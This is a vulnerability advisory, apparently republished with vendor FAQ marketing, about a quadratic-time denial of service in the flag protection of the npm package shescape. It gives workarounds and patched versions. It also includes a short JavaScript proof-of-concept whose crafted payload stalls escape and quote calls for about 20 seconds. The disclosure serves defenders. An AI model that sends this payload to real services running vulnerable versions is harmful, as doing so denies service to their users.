GHSA-GM3R-Q2WP-HW87

Shescape: Quadratic-time denial of service in the flag-protection

Workarounds

Alternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the last - from untrusted inputs.

For more information

• Comment on Pull Request [#2651] for v2 and [#2649] for v3
• Comment on commit [b4b34c3] for v2 and [43d70b5] for v3
• Open an issue at https://github.com/ericcornelissen/shescape/issues (New issue > Question)

This impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.

An attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.

import { Shescape } from "shescape";

// 1. Prerequisites
const options = {
    //flagProtection unspecified
    // Or
    flagProtection: true,
};

// 2. Payload
let payload = "\u0000-".repeat(32000);

// 3. Usage
const shescape = new Shescape(options);
let callback;

callback = () => shescape.escape(payload);
// Or
callback = () => shescape.escapeAll([payload]);
// Or
callback = () => shescape.quote(payload);
// Or
callback = () => shescape.quoteAll([payload]);

const t0 = process.hrtime.bigint();
callback();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;

// 4. Impact
console.log("Duration:", ms);
// Outputs "Duration:" followed by a number close to 20000

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

Kodem intelligence

Already deployed Kodem?

This bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.

If you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.

No patches will be released for version of Shescape lower than v2.0.0.

1. What is GHSA-GM3R-Q2WP-HW87? GHSA-GM3R-Q2WP-HW87 is a high-severity uncontrolled resource consumption vulnerability in shescape (npm), affecting versions >= 2.1.11, < 2.1.14. It is fixed in 2.1.14, 3.0.1. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. Which versions of shescape are affected by GHSA-GM3R-Q2WP-HW87? shescape (npm) versions >= 2.1.11, < 2.1.14 is affected.
3. Is there a fix for GHSA-GM3R-Q2WP-HW87? Yes. GHSA-GM3R-Q2WP-HW87 is fixed in 2.1.14, 3.0.1. Upgrade to this version or later.
4. Is GHSA-GM3R-Q2WP-HW87 exploitable, and should I be worried? Whether GHSA-GM3R-Q2WP-HW87 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
5. What actually determines whether GHSA-GM3R-Q2WP-HW87 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
6. How do I fix GHSA-GM3R-Q2WP-HW87?
   • Upgrade shescape to 2.1.14 or later
   • Upgrade shescape to 3.0.1 or later

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